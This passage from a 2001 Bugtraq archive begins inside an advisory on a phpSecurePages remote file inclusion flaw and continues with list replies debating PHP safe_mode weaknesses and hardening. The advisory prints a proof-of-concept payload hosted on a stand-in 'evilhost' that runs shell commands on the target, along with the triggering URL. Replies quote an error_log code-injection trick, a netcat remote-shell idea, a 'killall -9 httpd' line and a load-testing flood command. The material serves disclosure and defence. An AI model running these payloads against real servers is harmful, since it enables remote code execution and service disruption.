particular an attacker may set $cfgProgDir to whatever they wish.

A hurdle that must be overcome is knowing the location of the
phpSecurePages installation, recall that phpSecurePages can be
installed anywhere in the web directories and is simply include()d
from other pages. One interesting point is that phpSecurePages
shouldn't really need to be installed in a web accessible directory
at all, PHP will happily include any file, not just one accessible by
the web server. However the application ships with, and needs to know
the location of various images it displays during the authentication
process. In order to make the installation and configuration easier
the application is just unpacked into a web directory and is
configured to know its location in the filesystem and the webpath to
the directory in which it is installed. This means that the URLs for
the images displayed in the logon process give away the location of
the phpSecurePages installation, for example:

 <IMG SRC="http://vulnserver/phpSecurePages/images/cancel.gif" ...

The attacker now knows they can request checklogin.php from
http://vulnserver/phpSecurePages/checklogin.php. To exploit the
vulnerability the attacker simply needs to point the cfgProgDir
variable at a web path they can control (a free provider would be
fine) and create the file interface.php on that webserver. Its
content would be requested and executed by the vulnerable
installation of phpSecurePages. For example the attacker might place
the following content in interface.php on http://evilhost/:

<?php
        // PHP code to be executed
        $phpcode = '
                echo("Hi there!<BR>");
                passthru("id");
        ';

        // If we were called via remote include, send the code to be
        // executed
        if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
                echo("<?php $phpcode ?>");
        else
        // Otherwise we're being executed on the target web server already,
        // so simply evaluate the code
                eval($phpcode);

        exit();
?>

(This script is designed so that the server it is placed on can be
PHP enabled and not result in the code being executed on the
attacking machine)

The attacker could then make the following request to have the PHP
code above retrieved and executed:

 http://vulnhost/phpSecurePages/checklogin.php?cfgProgDir=http://evilhost/

As always with PHP there are many caveats to the attacks details in
this advisory based on PHP configuration and version. I'm not going
to go into detail on these but some to consider are listed
below. Suffice to say this is a bug and it is usually exploitable.
 - The remote web server must be able to retrieve the file, i.e no
firewalls in the way
 - The remote web server must not be running PHP under windows since
remote file includes are not supported on this platform
 - The remote web server must not have allow_url_fopen set off

[Fix]
Later versions of phpSecurePages correct this problem. Please download a
version above 1.0.5 from:
 http://www.phpsecurepages.f2s.com/

[Acknowledgements]
Our thanks to Paul Kruyt, the author of phpSecurePages for quickly
correcting this problem

[Disclaimer] Advice, directions and instructions on security
vulnerabilities in this advisory do not constitute: an endorsement of
illegal behavior; a guarantee that protection measures will work; an
endorsement of any product or solution or recommendations on behalf
of Secure Reality Pty Ltd. Content is provided as is and Secure
Reality Pty Ltd does not accept responsibility for any damage or
injury caused as a result of its use.
(6696472) /Shaun Clowes <shaun@securereality.com.au>/(Ombruten)
6697115 2001-07-02 17:02 +0200  /69 rader/ Laurent Papier <papier@sdv.fr>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-02  22:53  av Brevbäraren
Extern mottagare: Joost Pol <joost@contempt.nl>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17753>
Kommentar till text 6692875 av Joost Pol <joost@contempt.nl>
Ärende: Re: php breaks safe mode
------------------------------------------------------------
From: Laurent Papier <papier@sdv.fr>
To: Joost Pol <joost@contempt.nl>
Cc: bugtraq@securityfocus.com
Message-ID: <3B408D1A.8CD60142@sdv.fr>

Joost Pol wrote:

> 2. PHP Version 4.0.5/4.0.4pl1 SOMETIMES breaks safe_mode.
> 
>  2.0 - Description of the problem
> 
>   PHP safe_mode has the nice feature of disallowing the opening/reading
>   and writing to files that are not owned by the uid that the script
>   is owned by.
> 
>   Though using some "common sense" it still is possible to open/read
>   and write to files that are owned by the uid the webserver is
>   running as.
> 
>   *notice* assuming that something like suexec is not in place */notice*
> 
>   An attacker could upload a simple script that does the following:
> 
>   <?
>         $cmd = '<? showsource($foo); ?>';
>         error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>   ?>
> 
>   For example, assuming that the error_log is owned by the webserver it
>   could be read using a simple query:
> 
>   http://foo.bar/~user/nobody.php?foo=/path/to/webserver/logs/access_log
> 
>  2.1 - Impact
> 
>   Depends on the setup of the hosting box.
> 
>   If suexec or something similiar is used, impact is nihil.
> 
>   See also 1.1.1/1.1.2
> 
>  2.3 - Solution
> 
>   Disallow the changing of the error_log location in safe_mode?
> 
>   Not really for me to say, the PHP-team will come with something good.
> 
>   Notice: just changing the error_log function wont do, you could also
>           change the ini setting error_log (or another ini setting
>           that has a similiar effect).
> 
>           These ini settings can be set from a user script since they
>           all have PHP_INI_ALL perimissions.
> 
>           Maybe disallow setting of ini variables in safemode?

I think safe_mode should always be used with open_basedir directive
in order to limit user filesystem access.  As error_log is limited by
open_basedir, suexec is not needed to have a secure system as long as
open_basedir is correctly set.

I see nothing wrong allowing user to use error_log.
I don't think PHP-team should change the error-log function.

-- 
Laurent Papier - Admin. systeme
Sdv Plurimedia - <http://www.sdv.fr>
(6697115) /Laurent Papier <papier@sdv.fr>/(Ombruten)
Kommentar i text 6697759 av Joost Pol <joost@contempt.nl>
6697759 2001-07-02 18:51 +0200  /42 rader/ Joost Pol <joost@contempt.nl>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  04:39  av Brevbäraren
Extern mottagare: Laurent Papier <papier@sdv.fr>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17759>
Kommentar till text 6697115 av Laurent Papier <papier@sdv.fr>
Ärende: Re: php breaks safe mode
------------------------------------------------------------
From: Joost Pol <joost@contempt.nl>
To: Laurent Papier <papier@sdv.fr>
Cc: bugtraq@securityfocus.com
Message-ID: <20010702185137.A47804@badcoding.org>

On Mon, Jul 02, 2001 at 05:02:50PM +0200, Laurent Papier wrote:

> I think safe_mode should always be used with open_basedir directive in
> order to limit user filesystem access.
> As error_log is limited by open_basedir, suexec is not needed to have a
> secure system as long as open_basedir is correctly set.
> 
> I see nothing wrong allowing user to use error_log.
> I don't think PHP-team should change the error-log function.

This will only help when the directory specified in the open_basedir
directive is a directory in which php code is not interperted. Or a
directory which is not accesible by the user.

If the directory specified is still accesible by the user, a
"malicous" user could log php-code to an error log and have it
interperted.

Since the error log would be owned by the uid of the webserver, 
the phpcode logged to the errorlog will be executed with the uid 
of the webserver.

(eg: log 'showsource($foo)' to bar.php3 and then later execute the 
     bar.php3 script. bar.php3?foo=/path/to/access_log)

The user could then read and/or write to files owned by the uid of
the webserver. (not a Good Thing)

Regards,

Joost Pol

-- 
Joost Pol alias 'Nohican' <joost@contempt.nl> PGP 584619BD
PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
(6697759) /Joost Pol <joost@contempt.nl>/-(Ombruten)
Kommentar i text 6702079 av Laurent Papier <papier@sdv.fr>
Kommentar i text 6702110 av Patrick Oonk <patrick@pine.nl>
6702079 2001-07-03 10:20 +0200  /61 rader/ Laurent Papier <papier@sdv.fr>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  21:56  av Brevbäraren
Extern mottagare: Joost Pol <joost@contempt.nl>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17776>
Kommentar till text 6697759 av Joost Pol <joost@contempt.nl>
Ärende: Re: php breaks safe mode
------------------------------------------------------------
From: Laurent Papier <papier@sdv.fr>
To: Joost Pol <joost@contempt.nl>
Cc: bugtraq@securityfocus.com
Message-ID: <3B418061.EAD4E5A7@sdv.fr>

Joost Pol wrote:

> This will only help when the directory specified in the open_basedir
> directive is a directory in which php code is not interperted. Or a
> directory which is not accesible by the user.
>
> If the directory specified is still accesible by the user, a "malicous"
> user could log php-code to an error log and have it interperted.
>
> Since the error log would be owned by the uid of the webserver,
> the phpcode logged to the errorlog will be executed with the uid
> of the webserver.
> 
> (eg: log 'showsource($foo)' to bar.php3 and then later execute the
>      bar.php3 script. bar.php3?foo=/path/to/access_log)
> 
> The user could then read and/or write to files owned by the uid of
> the webserver. (not a Good Thing)

Again I disagree. For me there are 2 cases:

1)
A user with a valid PHP dev. access (via FTP for exemple). His scripts
run in safe_mode and are limited with open_basedir. As error_log is
limited by open_basedir, he cannot use this function to escape from
open_basedir and break safe_mode. And creating an error log in
open_basedir with PHP code in it, is not a problem as we have assume
that the user have a valid PHP dev. access in open_basedir.

> An attacker could upload a simple script that does the following:
>
>  <? 
>        $cmd = '<? showsource($foo); ?>';
>        error_log($cmd,3,"/path/to/user/wwwspace/nobody.php");
>  ?>

2) An attacker user who can upload and execute a PHP script 's1'
(this is what you assume in your description) with error_log call in
it in order to generate another file with PHP code 's2' in it.

It should be must simplier to directly upload 's2', isn't it ?  And
if for you error_log is a security problem, I guess fopen/fwrite ...
are also a security problem as the attacker can also use fopen/fwrite
function to create the file 's2' in /tmp for example.

In this case the problem is that the attacker is able to upload and
execute a PHP script. And this is not PHP safe_mode fault.

So for me error_log do not break safe_mode.

-- 
Laurent Papier - Admin. systeme
Sdv Plurimedia - <http://www.sdv.fr>
(6702079) /Laurent Papier <papier@sdv.fr>/(Ombruten)
6702110 2001-07-03 13:14 +0200  /46 rader/ Patrick Oonk <patrick@pine.nl>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  22:11  av Brevbäraren
Extern mottagare: Joost Pol <joost@contempt.nl>
Extern kopiemottagare: Laurent Papier <papier@sdv.fr>
Extern kopiemottagare: bugtraq@securityfocus.com
Externa svar till: patrick@pine.nl
Mottagare: Bugtraq (import) <17777>
Kommentar till text 6697759 av Joost Pol <joost@contempt.nl>
Ärende: Re: php breaks safe mode
------------------------------------------------------------
From: Patrick Oonk <patrick@pine.nl>
To: Joost Pol <joost@contempt.nl>
Cc: Laurent Papier <papier@sdv.fr>, bugtraq@securityfocus.com
Message-ID: <20010703131422.J22240@pine.nl>

On Mon, Jul 02, 2001 at 06:51:37PM +0200, Joost Pol wrote:
> On Mon, Jul 02, 2001 at 05:02:50PM +0200, Laurent Papier wrote:
> 
> > I think safe_mode should always be used with open_basedir directive in
> > order to limit user filesystem access.
> > As error_log is limited by open_basedir, suexec is not needed to have a
> > secure system as long as open_basedir is correctly set.
> > 
> > I see nothing wrong allowing user to use error_log.
> > I don't think PHP-team should change the error-log function.
> 
> This will only help when the directory specified in the open_basedir
> directive is a directory in which php code is not interperted. Or a
> directory which is not accesible by the user.
> 
> If the directory specified is still accesible by the user, a "malicous"
> user could log php-code to an error log and have it interperted.
> 
> Since the error log would be owned by the uid of the webserver, 
> the phpcode logged to the errorlog will be executed with the uid 
> of the webserver.
> 
> (eg: log 'showsource($foo)' to bar.php3 and then later execute the 
>      bar.php3 script. bar.php3?foo=/path/to/access_log)
> 
> The user could then read and/or write to files owned by the uid of
> the webserver. (not a Good Thing)

SANS has a pretty good php security tutorial at
http://www.sans.org/infosecFAQ/sysadmin/PHP_sec.htm
 

-- 
 Patrick Oonk - PO1-6BONE - E: patrick@pine.nl - www.pine.nl/~patrick
 Pine Internet  -  PAT31337-RIPE  -   Hushmail: p.oonk@my.security.nl
 T: +31-70-3111010  -   F: +31-70-3111011   -  http://security.nl
 PGPID 155C3934 fp DD29 1787 8F49 51B8 4FDF  2F64 A65C 42AE 155C 3934
 Excuse of the day: Electrical conduits in machine room are
 melting.
(6702110) /Patrick Oonk <patrick@pine.nl>/----------
6701685 2001-07-02 15:12 -0700  /55 rader/ Joe Harris <cdi@thewebmasters.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  19:37  av Brevbäraren
Extern mottagare: Joost Pol <joost@contempt.nl>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17766>
Kommentar till text 6692875 av Joost Pol <joost@contempt.nl>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: Joe Harris <cdi@thewebmasters.net>
To: Joost Pol <joost@contempt.nl>
Cc: bugtraq@securityfocus.com
Message-ID: <Pine.LNX.3.95.1010702150322.10419A-100000@animal.blarg.net>

On Sat, 30 Jun 2001, Joost Pol wrote:

> Subject  : PHP safe_mode troubles. 

[many snips throughout]

>   An attacker could easily upload a simple evil.php script containing:
>   <? mail("foo@bar,"foo","bar","",$bar); ?> 

If an intruder can upload PHP code, what's to stop them from
uploading an even meaner bit-o-code? In some other language?

There is something fundamentally flawed in the logic of claiming
safe_mode as "broken" if the means to abuse that flaw is predicated
upon an intruder already having write access to the file system... a
situation I think most would agree as being catastrophic to the
integrity of the host, "safe_mode" or no "safe_mode".

Is it a bug? Sure. Is it worthy of a Bugtraq posting? Barely.

>     A customer has bougt some web space from a provider and is given only
>     ftp access to upload his files. The customer is not supposed to have
>     shell access nor view files outside of his home directory.
> 
>     The customer could easily upload and compile a "lite" version of the
>     popular netcat tool (cd /usr/ports/*/netcat;make clean;make&&make
>     install) and spawn him self a remote shell on the hosting boxen.

Or install a C/Perl/Tcl/sh/ etc etc shell emulating CGI to do the
same thing. If the person has write access to the file system there
is very little that will stop them from being able to execute shell
commands, install and run netcat, or any of a myriad of other
privilege escalation or "local root" attacks.

>   An attacker could upload a simple script that does the following:

Once again, your attack is predicated upon a malicious intruder
having write access to the file system. Once that level of access has
been obtained, you are already at the intruders mercy.

Anything else the intruder finds on the file system, including a
minor bug in PHP, is pure gravy.

__  http://www.thewebmasters.net/ "Well, I'll fetch a spammer, you
fetch an iMac, some baby oil, and some burly mechanics to assist with
the insertion, and we'll Advance Science!"
                                      -- Patrick Wade in the Monastery
(6701685) /Joe Harris <cdi@thewebmasters.net>/(Ombruten)
Kommentar i text 6701877 av Joost Pol <joost@contempt.nl>
6701877 2001-07-03 02:04 +0200  /50 rader/ Joost Pol <joost@contempt.nl>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-03  20:35  av Brevbäraren
Extern mottagare: Joe Harris <cdi@thewebmasters.net>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17770>
Kommentar till text 6701685 av Joe Harris <cdi@thewebmasters.net>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: Joost Pol <joost@contempt.nl>
To: Joe Harris <cdi@thewebmasters.net>
Cc: bugtraq@securityfocus.com
Message-ID: <20010703020414.A48429@badcoding.org>

On Mon, Jul 02, 2001 at 03:12:43PM -0700, Joe Harris wrote:

> On Sat, 30 Jun 2001, Joost Pol wrote:
> 
> If an intruder can upload PHP code, what's to stop them from uploading an
> even meaner bit-o-code? In some other language?
>
> There is something fundamentally flawed in the logic of claiming safe_mode
> as "broken" if the means to abuse that flaw is predicated upon an intruder
> already having write access to the file system... a situation I think most
> would agree as being catastrophic to the integrity of the host, "safe_mode"
> or no "safe_mode".

Well, two changes do occur.

1. User could obtain the uid of the webserver. (nobody access)

   In a decent configured hosting machine, the impact would be minor. 

   And *all* hosting machines are configured decently, right? (:

2. An ISP only giving out ftp access for users to upload new webpages 
   could find themselves confronted with users with shell access.

> Is it a bug? Sure. Is it worthy of a Bugtraq posting? Barely.

Hmm, at least i should have cut it a bit. True.

The one Good Thing that came out of the bugtraq posting was that the
PHP team actually picked the issue up from the list and are fixing it.

Before that i mailed them and posted it on the php bug list, little
response.

[heavy cutting]

Kind Regards,

Joost Pol

-- 
Joost Pol alias 'Nohican' <joost@contempt.nl> PGP 584619BD
PGP fingerprint B1FA EE66 CFAA A492 D5F8 9A8A 0CDA 5846 19BD
Laboratoire Contempt - Tel +31-6-28887995 Fax: +31-70-3873625
(6701877) /Joost Pol <joost@contempt.nl>/-(Ombruten)
Kommentar i text 6710642 av Raptor <raptor@0xdeadbeef.eu.org>
Kommentar i text 6712125 av Steffen Dettmer <steffen@dett.de>
6710642 2001-07-05 12:11 +0200  /24 rader/ Raptor <raptor@0xdeadbeef.eu.org>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-05  20:33  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17800>
Kommentar till text 6701877 av Joost Pol <joost@contempt.nl>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: Raptor <raptor@0xdeadbeef.eu.org>
To: bugtraq@securityfocus.com
Message-ID: <Pine.BSO.4.21.0107051208100.2587-100000@voodoo.rewt.mil>

On Tue, 3 Jul 2001, Joost Pol wrote:

> Well, two changes do occur.
> 
> 1. User could obtain the uid of the webserver. (nobody access)
> 
>    In a decent configured hosting machine, the impact would be minor. 
> 
>    And *all* hosting machines are configured decently, right? (:

What do you exactly intend with "minor impact"? A user with the uid
of the webserver can at least kill the webserver itself... This
should definitely be an issue for a web hosting provider.

:raptor
Antifork Research, Inc.			@ Mediaservice.net Srl
http://www.0xdeadbeef.eu.org		http://www.mediaservice.net
(6710642) /Raptor <raptor@0xdeadbeef.eu.org>/(Ombruten)
Kommentar i text 6712036 av H D Moore <hdm@secureaustin.com>
6712036 2001-07-05 14:31 -0500  /31 rader/ H D Moore <hdm@secureaustin.com>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-06  06:58  av Brevbäraren
Extern mottagare: Raptor <raptor@0xdeadbeef.eu.org>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17815>
Kommentar till text 6710642 av Raptor <raptor@0xdeadbeef.eu.org>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: H D Moore <hdm@secureaustin.com>
To: Raptor <raptor@0xdeadbeef.eu.org>, bugtraq@securityfocus.com
Message-ID: <0107051431420A.00708@sliver>

On Thursday 05 July 2001 05:11 am, Raptor wrote:
> What do you exactly intend with "minor impact"? A user with the uid of the
> webserver can at least kill the webserver itself... This should definitely
> be an issue for a web hosting provider.

<? system("killall -9 httpd"); ?>

Not completely true.  Apache's master process still runs as root,
someone  with access as the web user could kill the child processes
which are passed  new requests, but they would be restarted.

The more insidous problem with using PHP (module) on an Apache setup
is that  any user can access the scripts of any other user account.
The web server  user needs reads access to every file to serve it,
the Apache process runs  every user's code under the same account
(unless its compiled as a CGI and  suexec is setup, but that causes
its own problems), allowing someone to  go through the database of a
ecom company hosted on the same server quite  easily. I have seen
cases where an attacker would purchase an account (via  stolen CC of
course) on the server of their target, then use the "nobody"  account
to access all of their data (or simply spawn a shell, break root, and
really own them). I wonder if VirtualHost based user/group directives
would  keep this from happening, does anyone on the list know of a
way to protect  against this?

-HD
(6712036) /H D Moore <hdm@secureaustin.com>/(Ombruten)
Kommentar i text 6715275 av Steffen Dettmer <steffen@dett.de>
6715275 2001-07-06 10:14 +0200  /34 rader/ Steffen Dettmer <steffen@dett.de>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-06  21:24  av Brevbäraren
Extern mottagare: H D Moore <hdm@secureaustin.com>
Extern kopiemottagare: Raptor <raptor@0xdeadbeef.eu.org>
Extern kopiemottagare: bugtraq@securityfocus.com
Externa svar till: steffen@dett.de
Mottagare: Bugtraq (import) <17830>
Kommentar till text 6712036 av H D Moore <hdm@secureaustin.com>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: Steffen Dettmer <steffen@dett.de>
To: H D Moore <hdm@secureaustin.com>
Cc: Raptor <raptor@0xdeadbeef.eu.org>, bugtraq@securityfocus.com
Message-ID: <20010706101453.B3076@dx.net.de>

* H D Moore wrote on Thu, Jul 05, 2001 at 14:31 -0500:
> On Thursday 05 July 2001 05:11 am, Raptor wrote:
> > What do you exactly intend with "minor impact"? 

> I wonder if VirtualHost based user/group directives would keep
> this from happening, 

No, this will not have any effects on the server childs, but on
the executed CGI sub-processes. Since its not possible (well, not
without giving up any performance) to setuid at each request
(necessary, since all childs are able to handle any request).
Since PHP runs in the same process, it runs with the same
permissions like all the other childs.

> does anyone on the list know of a way to protect against this?

drop mod_php, use php via CGI with a slightly modified suexec or
add those "shebang" line to your PHP scripts. But this is a
performance issue, since having security is slower here :)

oki,

Steffen

-- 
Dieses Schreiben wurde maschinell erstellt,
es trägt daher weder Unterschrift noch Siegel.
(6715275) /Steffen Dettmer <steffen@dett.de>/-------
6715241 2001-07-06 10:25 +0200  /21 rader/ Sander Steffann <steffann@nederland.net>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-06  21:10  av Brevbäraren
Extern mottagare: Steffen Dettmer <steffen@dett.de>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17829>
Kommentar till text 6712125 av Steffen Dettmer <steffen@dett.de>
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: "Sander Steffann" <steffann@nederland.net>
To: "Steffen Dettmer" <steffen@dett.de>, <bugtraq@securityfocus.com>
Message-ID: <000d01c105f5$2ff757f0$8e01a8c0@OFFICE>

Hi,

> Usually the Webserver is able to read the sources of the PHP
> scripts. PHP scripts may include passwords for database access.
> Since PHP is usually mod_php and not suexec'd, this seems to be a
> common problem. With account to such databases really important
> damage could be done!

It's possible to protect yourself against this. PHP has an so-called
open_basedir restriction, with which you can specify the directories
that a script is allowed to access. You can set a different
restriction for every VirtualHost.

Sander.
(6715241) /Sander Steffann <steffann@nederland.net>/(Ombruten)
6707093 2001-07-04 19:04 +1200  /48 rader/ Stephen Cope <mail-e-f3dcc3d8d97d43de3a@kimihia.org.nz>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-04  23:02  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17789>
Ärende: Re: A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications
------------------------------------------------------------
From: Stephen Cope <mail-e-f3dcc3d8d97d43de3a@kimihia.org.nz>
To: bugtraq@securityfocus.com
Message-ID: <20010704190440.A12895@mess.kimihia.org.nz>

: Please read that again if that doesn't make you blink, a remote user can
: send any file they wish to a PHP enabled machine and before a script has

The maximum file size is also specified in the PHP configuration, and
can also be specified in the Apache configuration too.

PHP: upload_max_filesize
Apache: LimitRequestBody

: even specified whether or not it accepts file uploads that file is SAVED on
: the local disk.

Yes, and it is deleted once the script has completed executing.

: I'm going to ignore any resource exhaustion attacks that may or may not be
: possible using file upload functionality, I think they're fairly limited if
: not impossible in any case.

Resource exhaustion? Maximum possible resource usage is:

  min(upload_max_filesize, LimitRequestBody) * MaxClients

In the case of one server, this would be:

  min(2M, 4M) * 200 = 400MB

Easily launched with the Apache benchmarking tool, but dependant on
the  bandwidth between the attacker and the attacked:

  ab -c 200 -n 200 -p 2mb_of_data.txt http://host/

I don't see it as a problem, not even over a Fast Ethernet connection.

: This form input will provide exactly the variables the PHP scripts expects
: to be set by PHP, but instead of working on an uploaded file the script will

Use is_uploaded_file and move_uploaded_file instead. They aren't
fooled.

Turu.

-- 
Stephen Cope - http://sdc.org.nz/
(6707093) /Stephen Cope <mail-e-f3dcc3d8d97d43de3a@kimihia.org.nz>/(Ombruten)
6715314 2001-07-06 11:00 +0200  /51 rader/ Krzysztof Dabrowski <brushlst@pol.pl>
Sänt av: joel@lysator.liu.se
Importerad: 2001-07-06  21:38  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <17831>
Markerad av 1 person.
Ärende: Re: [BUGTRAQ] php breaks safe mode
------------------------------------------------------------
From: Krzysztof Dabrowski <brushlst@pol.pl>
To: bugtraq@securityfocus.com
Message-ID: <5.1.0.14.0.20010706110027.03393fe0@poczta.pol.pl>

Hello,

A think that there is a lot of misunderstanding about how safe/unsafe
your mod_php installatin can be.

Here follows my explanations:

1. Run your webserver in a chroot enviroment - this wont solve ALL
your  problems, but it certainly helps.

><? system("killall -9 httpd"); ?>
>
>Not completely true.  Apache's master process still runs as root, someone
>with access as the web user could kill the child processes which are passed
>new requests, but they would be restarted.

2. Use safe mode.

And use it with conjuction with "safe_mode_exec_dir" directive. Set
it to  you "trusted" bins dir, and it'll allow people to run binaries
ONLY from  this dir.

>The more insidous problem with using PHP (module) on an Apache setup is that
>any user can access the scripts of any other user account.  The web server
>user needs reads access to every file to serve it, the Apache process runs
>every user's code under the same account (unless its compiled as a CGI and
>suexec is setup, but that causes its own problems), allowing someone to
>go through the database of a ecom company hosted on the same server quite
>easily.

3. User "open_basedir"

Set it to (together):
a) User's dir
b) public include dir

Now your users wont be able to snoop into others dirs

4. Do not use "sendmail" or similar program to send mail from php
(and  certainly do not put sendmail binary into your trusted
path). Use sockets  based php email class (available on the net).

Using these techniques, you can get reasonably safe mod_php
installation.

Kris
(6715314) /Krzysztof Dabrowski <brushlst@pol.pl>/(Ombruten)